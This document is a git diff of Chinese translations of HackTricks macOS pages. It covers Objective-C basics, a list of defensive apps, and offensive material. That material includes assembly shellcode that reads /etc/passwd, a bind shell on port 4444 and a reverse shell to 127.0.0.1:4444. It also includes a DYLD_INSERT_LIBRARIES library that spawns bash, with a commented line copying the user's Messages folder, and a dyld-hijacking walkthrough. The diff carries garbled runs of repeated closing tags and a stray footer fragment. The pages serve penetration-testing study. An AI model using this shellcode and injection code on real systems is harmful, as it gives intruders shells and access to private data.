12 AUE_CHDIR ALL { int chdir(user_addr_t path); }
|
||||
[...]
|
||||
```
|
||||
因此,为了从**Unix/BSD类**调用`open`系统调用(**5**),您需要将其添加为:`0x2000000`
|
||||
为了从 **Unix/BSD 类** 调用 `open` 系统调用 (**5**),您需要添加它:`0x2000000`
|
||||
|
||||
因此,调用open的系统调用号将是`0x2000005`
|
||||
因此,调用 open 的系统调用编号将是 `0x2000005`
|
||||
|
||||
### Shellcodes
|
||||
|
||||
要编译:
|
||||
编译:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -137,7 +139,7 @@ otool -t shell.o | grep 00 | cut -f2 -d$'\t' | sed 's/ /\\x/g' | sed 's/^/\\x/g'
|
|||
|
||||
<details>
|
||||
|
||||
<summary>用于测试shellcode的C代码</summary>
|
||||
<summary>测试 shellcode 的 C 代码</summary>
|
||||
```c
|
||||
// code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c
|
||||
// gcc loader.c -o loader
|
||||
|
@ -187,10 +189,10 @@ return 0;
|
|||
|
||||
#### Shell
|
||||
|
||||
取自[**这里**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s)并进行解释。
|
||||
取自[**这里**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s)并进行了解释。
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="使用 adr" %}
|
||||
{% tab title="with adr" %}
|
||||
```armasm
|
||||
bits 64
|
||||
global _main
|
||||
|
@ -207,7 +209,7 @@ syscall
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="使用堆栈" %}
|
||||
{% tab title="带堆栈" %}
|
||||
```armasm
|
||||
bits 64
|
||||
global _main
|
||||
|
@ -226,9 +228,9 @@ syscall
|
|||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
#### 使用 cat 命令读取
|
||||
#### 使用 cat 读取
|
||||
|
||||
目标是执行 `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`,因此第二个参数 (x1) 是一个参数数组 (在内存中意味着地址的堆栈)。
|
||||
目标是执行 `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`,因此第二个参数 (x1) 是一个参数数组(在内存中,这意味着一堆地址)。
|
||||
```armasm
|
||||
bits 64
|
||||
section .text
|
||||
|
@ -297,9 +299,9 @@ sh_path: db "/bin/sh", 0
|
|||
sh_c_option: db "-c", 0
|
||||
touch_command: db "touch /tmp/lalala", 0
|
||||
```
|
||||
#### 绑定 shell
|
||||
#### Bind shell
|
||||
|
||||
绑定 shell 来自 [https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html](https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html) 在 **端口 4444** 上。
|
||||
来自 [https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html](https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html) 的 Bind shell 在 **port 4444**
|
||||
```armasm
|
||||
section .text
|
||||
global _main
|
||||
|
@ -376,7 +378,7 @@ syscall
|
|||
```
|
||||
#### 反向Shell
|
||||
|
||||
从[https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html](https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html)获取反向shell。反向shell连接到**127.0.0.1:4444**
|
||||
来自 [https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html](https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html) 的反向Shell。反向Shell到 **127.0.0.1:4444**
|
||||
```armasm
|
||||
section .text
|
||||
global _main
|
||||
|
@ -438,16 +440,17 @@ mov rax, r8
|
|||
mov al, 0x3b
|
||||
syscall
|
||||
```
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,33 +1,49 @@
|
|||
# macOS Objective-C
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
其他支持HackTricks的方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
## Objective-C
|
||||
|
||||
{% hint style="danger" %}
|
||||
请注意,使用Objective-C编写的程序在编译为[Mach-O二进制文件](macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md)时**保留**其类声明。这些类声明**包括**以下内容的名称和类型:
|
||||
请注意,用 Objective-C 编写的程序在编译成 [Mach-O 二进制文件](macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md) 时 **保留** 其类声明。这样的类声明 **包括** 名称和类型:
|
||||
{% endhint %}
|
||||
|
||||
* 类
|
||||
* 类方法
|
||||
* 类实例变量
|
||||
|
||||
您可以使用[class-dump](https://github.com/nygard/class-dump)获取这些信息:
|
||||
您可以使用 [**class-dump**](https://github.com/nygard/class-dump) 获取此信息:
|
||||
```bash
|
||||
class-dump Kindle.app
|
||||
```
|
||||
注意,这些名称可能会被混淆,以使二进制文件的逆向工程更加困难。
|
||||
|
||||
## 类、方法和对象
|
||||
|
||||
### 接口、属性和方法
|
||||
|
@ -61,9 +77,9 @@ self.numberOfWheels += value;
|
|||
|
||||
@end
|
||||
```
|
||||
### **对象和调用方法**
|
||||
### **对象与调用方法**
|
||||
|
||||
要创建一个类的实例,需要调用**`alloc`**方法,该方法会为每个**属性分配内存**并将这些分配**清零**。然后调用**`init`**方法,该方法会将属性**初始化为所需的值**。
|
||||
要创建一个类的实例,调用 **`alloc`** 方法,该方法 **分配内存** 给每个 **属性** 并 **将这些分配置为零**。然后调用 **`init`**,该方法 **初始化属性** 为 **所需的值**。
|
||||
```objectivec
|
||||
// Something like this:
|
||||
MyVehicle *newVehicle = [[MyVehicle alloc] init];
|
||||
|
@ -77,13 +93,13 @@ MyVehicle *newVehicle = [MyVehicle new];
|
|||
```
|
||||
### **类方法**
|
||||
|
||||
类方法使用**加号**(+)而不是实例方法中使用的连字符(-)来定义。就像**NSString**类方法**`stringWithString`**一样:
|
||||
类方法是用 **加号** (+) 定义的,而不是用于实例方法的 **减号** (-)。像 **NSString** 类方法 **`stringWithString`**:
|
||||
```objectivec
|
||||
+ (id)stringWithString:(NSString *)aString;
|
||||
```
|
||||
### 设置器 & 获取器
|
||||
### Setter & Getter
|
||||
|
||||
要设置和获取属性,可以使用**点符号表示法**或者像**调用方法**一样进行操作:
|
||||
要**设置**和**获取**属性,您可以使用**点表示法**或像**调用方法**一样进行:
|
||||
```objectivec
|
||||
// Set
|
||||
newVehicle.numberOfWheels = 2;
|
||||
|
@ -95,18 +111,18 @@ NSLog(@"Number of wheels: %i", [newVehicle numberOfWheels]);
|
|||
```
|
||||
### **实例变量**
|
||||
|
||||
与setter和getter方法相反,您可以使用实例变量。这些变量与属性具有相同的名称,但以“\_”开头:
|
||||
与 setter 和 getter 方法不同,您可以使用实例变量。这些变量与属性同名,但以“\_”开头:
|
||||
```objectivec
|
||||
- (void)makeLongTruck {
|
||||
_numberOfWheels = +10000;
|
||||
NSLog(@"Number of wheels: %i", self.numberOfLeaves);
|
||||
}
|
||||
```
|
||||
### 协议
|
||||
### Protocols
|
||||
|
||||
协议是一组方法声明(不包括属性)。实现协议的类会实现声明的方法。
|
||||
协议是一组方法声明(没有属性)。实现协议的类实现声明的方法。
|
||||
|
||||
有两种类型的方法:**必需**和**可选**。**默认情况下**,方法是**必需**的(但也可以用**`@required`**标签来指示)。要指示方法是可选的,请使用**`@optional`**。
|
||||
方法有两种类型:**必需**和**可选**。默认情况下,方法是**必需**的(但您也可以使用**`@required`**标签来指示)。要指示方法是可选的,请使用**`@optional`**。
|
||||
```objectivec
|
||||
@protocol myNewProtocol
|
||||
- (void) method1; //mandatory
|
||||
|
@ -116,7 +132,7 @@ NSLog(@"Number of wheels: %i", self.numberOfLeaves);
|
|||
- (void) method3; //optional
|
||||
@end
|
||||
```
|
||||
### 一切就绪
|
||||
### 一起
|
||||
```objectivec
|
||||
// gcc -framework Foundation test_obj.m -o test_obj
|
||||
#import <Foundation/Foundation.h>
|
||||
|
@ -179,7 +195,7 @@ NSString *bookPublicationYear = [NSString stringWithCString:"1951" encoding:NSUT
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
基本类是**不可变的**,因此要将字符串附加到现有字符串,需要**创建一个新的 NSString**。
|
||||
基本类是**不可变的**,因此要将一个字符串附加到现有字符串上,**需要创建一个新的 NSString**。
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```objectivec
|
||||
|
@ -187,7 +203,7 @@ NSString *bookDescription = [NSString stringWithFormat:@"%@ by %@ was published
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
或者您也可以使用一个**可变**字符串类:
|
||||
或者你也可以使用一个**可变**字符串类:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```objectivec
|
||||
|
@ -198,8 +214,6 @@ NSMutableString *mutableString = [NSMutableString stringWithString:@"The book "]
|
|||
[mutableString appendString:@" and published in "];
|
||||
[mutableString appendString:bookPublicationYear];
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
#### 数字
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
|
@ -221,7 +235,7 @@ NSNumber *piDouble = @3.1415926535; // equivalent to [NSNumber numberWithDouble:
|
|||
NSNumber *yesNumber = @YES; // equivalent to [NSNumber numberWithBool:YES]
|
||||
NSNumber *noNumber = @NO; // equivalent to [NSNumber numberWithBool:NO]
|
||||
```
|
||||
#### 数组,集合和字典
|
||||
#### 数组、集合和字典
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```objectivec
|
||||
|
@ -269,9 +283,13 @@ NSMutableDictionary *mutFruitColorsDictionary = [NSMutableDictionary dictionaryW
|
|||
[mutFruitColorsDictionary setObject:@"green" forKey:@"apple"];
|
||||
[mutFruitColorsDictionary removeObjectForKey:@"grape"];
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### Blocks
|
||||
|
||||
Blocks are **函数作为对象** 的行为,因此它们可以被传递给函数或**存储**在**数组**或**字典**中。此外,如果给定值,它们可以**表示一个值**,因此类似于 lambda。
|
||||
Blocks 是 **作为对象行为的函数**,因此可以传递给函数或 **存储** 在 **数组** 或 **字典** 中。此外,如果给定值,它们可以 **表示一个值**,因此类似于 lambdas。
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```objectivec
|
||||
returnType (^blockName)(argumentType1, argumentType2, ...) = ^(argumentType1 param1, argumentType2 param2, ...){
|
||||
//Perform operations here
|
||||
|
@ -286,7 +304,7 @@ NSLog(@"3+4 = %d", suma(3,4));
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
也可以**定义一个块类型以用作函数的参数**:
|
||||
也可以**定义一个块类型作为函数中的参数**:
|
||||
```objectivec
|
||||
// Define the block type
|
||||
typedef void (^callbackLogger)(void);
|
||||
|
@ -337,29 +355,47 @@ NSLog(@"Removed successfully");
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
**也可以使用 `NSURL` 对象而不是 `NSString` 对象来管理文件**。方法名称类似,但是**使用 `URL` 代替 `Path`**。
|
||||
也可以使用 **`NSURL` 对象而不是 `NSString` 对象** 来管理文件。方法名称类似,但 **使用 `URL` 而不是 `Path`**。
|
||||
```objectivec
|
||||
NSURL *fileSrc = [NSURL fileURLWithPath:@"/path/to/file1.txt"];
|
||||
NSURL *fileDst = [NSURL fileURLWithPath:@"/path/to/file2.txt"];
|
||||
[fileManager moveItemAtURL:fileSrc toURL:fileDst error: nil];
|
||||
```
|
||||
大多数基本类都有一个名为`writeToFile:<path> atomically:<YES> encoding:<encoding> error:nil`的方法,允许它们直接写入文件:
|
||||
```objectivec
|
||||
NSString* tmp = @"something temporary";
|
||||
[tmp writeToFile:@"/tmp/tmp1.txt" atomically:YES encoding:NSASCIIStringEncoding error:nil];
|
||||
```
|
||||
{% endcode %}
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,41 +1,43 @@
|
|||
# macOS 防御应用程序
|
||||
# macOS 防御应用
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您想在 HackTricks 中看到您的**公司广告**或**下载 PDF 版的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFT**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) 上**关注**我们。
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来**分享您的黑客技巧**。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
## 防火墙
|
||||
|
||||
* [**Little Snitch**](https://www.obdev.at/products/littlesnitch/index.html):它将监视每个进程所建立的每个连接。根据模式(静默允许连接、静默拒绝连接和警报),每次建立新连接时都会**向您显示警报**。它还有一个非常好的 GUI 来查看所有这些信息。
|
||||
* [**LuLu**](https://objective-see.org/products/lulu.html):Objective-See 防火墙。这是一个基本防火墙,会为可疑连接提供警报(它有 GUI,但不像 Little Snitch 那样花哨)。
|
||||
* [**Little Snitch**](https://www.obdev.at/products/littlesnitch/index.html):它将监控每个进程所建立的每个连接。根据模式(静默允许连接、静默拒绝连接和警报),每当建立新连接时,它将**向您显示警报**。它还有一个非常好的 GUI 来查看所有这些信息。
|
||||
* [**LuLu**](https://objective-see.org/products/lulu.html):Objective-See 防火墙。这是一个基本的防火墙,会对可疑连接发出警报(它有一个 GUI,但没有 Little Snitch 的那么花哨)。
|
||||
|
||||
## 持久性检测
|
||||
|
||||
* [**KnockKnock**](https://objective-see.org/products/knockknock.html):Objective-See 应用程序,将搜索**恶意软件可能持续存在的**几个位置(这是一个一次性工具,不是监控服务)。
|
||||
* [**BlockBlock**](https://objective-see.org/products/blockblock.html):通过监视生成持久性的进程,类似于 KnockKnock。
|
||||
* [**KnockKnock**](https://objective-see.org/products/knockknock.html):Objective-See 应用程序,将在多个位置搜索 **恶意软件可能存在的地方**(这是一个一次性工具,而不是监控服务)。
|
||||
* [**BlockBlock**](https://objective-see.org/products/blockblock.html):像 KnockKnock 一样,通过监控生成持久性的进程。
|
||||
|
||||
## 键盘记录检测
|
||||
## 键盘记录器检测
|
||||
|
||||
* [**ReiKey**](https://objective-see.org/products/reikey.html):Objective-See 应用程序,用于查找安装键盘“事件捕捉”的**键盘记录器**。
|
||||
|
||||
## 勒索软件检测
|
||||
|
||||
* [**RansomWhere**](https://objective-see.org/products/ransomwhere.html):Objective-See 应用程序,用于检测**文件加密**操作。
|
||||
|
||||
## 麦克风和摄像头检测
|
||||
|
||||
* [**OverSight**](https://objective-see.org/products/oversight.html):Objective-See 应用程序,用于检测**启动使用摄像头和麦克风的应用程序**。
|
||||
|
||||
## 进程注入检测
|
||||
|
||||
* [**Shield**](https://theevilbit.github.io/shield/):检测不同**进程注入**技术的应用程序。
|
||||
* [**ReiKey**](https://objective-see.org/products/reikey.html):Objective-See 应用程序,用于查找安装键盘“事件捕获”的 **键盘记录器**。
|
||||
|
|
|
@ -1,22 +1,23 @@
|
|||
# macOS Dyld Hijacking & DYLD\_INSERT\_LIBRARIES
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
其他支持HackTricks的方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## DYLD\_INSERT\_LIBRARIES 基本示例
|
||||
|
||||
**要注入的库**以执行shell:
|
||||
**要注入的库** 以执行 shell:
|
||||
```c
|
||||
// gcc -dynamiclib -o inject.dylib inject.c
|
||||
|
||||
|
@ -34,7 +35,7 @@ execv("/bin/bash", 0);
|
|||
//system("cp -r ~/Library/Messages/ /tmp/Messages/");
|
||||
}
|
||||
```
|
||||
攻击的二进制文件:
|
||||
二进制攻击目标:
|
||||
```c
|
||||
// gcc hello.c -o hello
|
||||
#include <stdio.h>
|
||||
|
@ -49,9 +50,9 @@ return 0;
|
|||
```bash
|
||||
DYLD_INSERT_LIBRARIES=inject.dylib ./hello
|
||||
```
|
||||
## Dyld劫持示例
|
||||
## Dyld Hijacking 示例
|
||||
|
||||
目标易受攻击的二进制文件是`/Applications/VulnDyld.app/Contents/Resources/lib/binary`。
|
||||
目标易受攻击的二进制文件是 `/Applications/VulnDyld.app/Contents/Resources/lib/binary`。
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="entitlements" %}
|
||||
|
@ -61,7 +62,7 @@ DYLD_INSERT_LIBRARIES=inject.dylib ./hello
|
|||
{% endtab %}
|
||||
|
||||
{% tab title="LC_RPATH" %}
|
||||
{% code overflow="wrap %}
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# Check where are the @rpath locations
|
||||
otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep LC_RPATH -A 2
|
||||
|
@ -87,12 +88,16 @@ current version 1.0.0
|
|||
compatibility version 1.0.0
|
||||
# Check the versions
|
||||
```
|
||||
根据前面的信息,我们知道它**没有检查加载的库的签名**,并且**试图从以下位置加载库**:
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
- `/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib`
|
||||
- `/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib`
|
||||
根据之前的信息,我们知道它**没有检查加载库的签名**,并且**尝试从以下位置加载库**:
|
||||
|
||||
然而,第一个不存在:
|
||||
* `/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib`
|
||||
* `/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib`
|
||||
|
||||
然而,第一个库并不存在:
|
||||
```bash
|
||||
pwd
|
||||
/Applications/VulnDyld.app
|
||||
|
@ -100,7 +105,7 @@ pwd
|
|||
find ./ -name lib.dylib
|
||||
./Contents/Resources/lib2/lib.dylib
|
||||
```
|
||||
所以,它是可以被劫持的!创建一个库,**执行一些任意代码并通过重新导出来导出相同的功能**作为合法库。并记得使用期望的版本进行编译:
|
||||
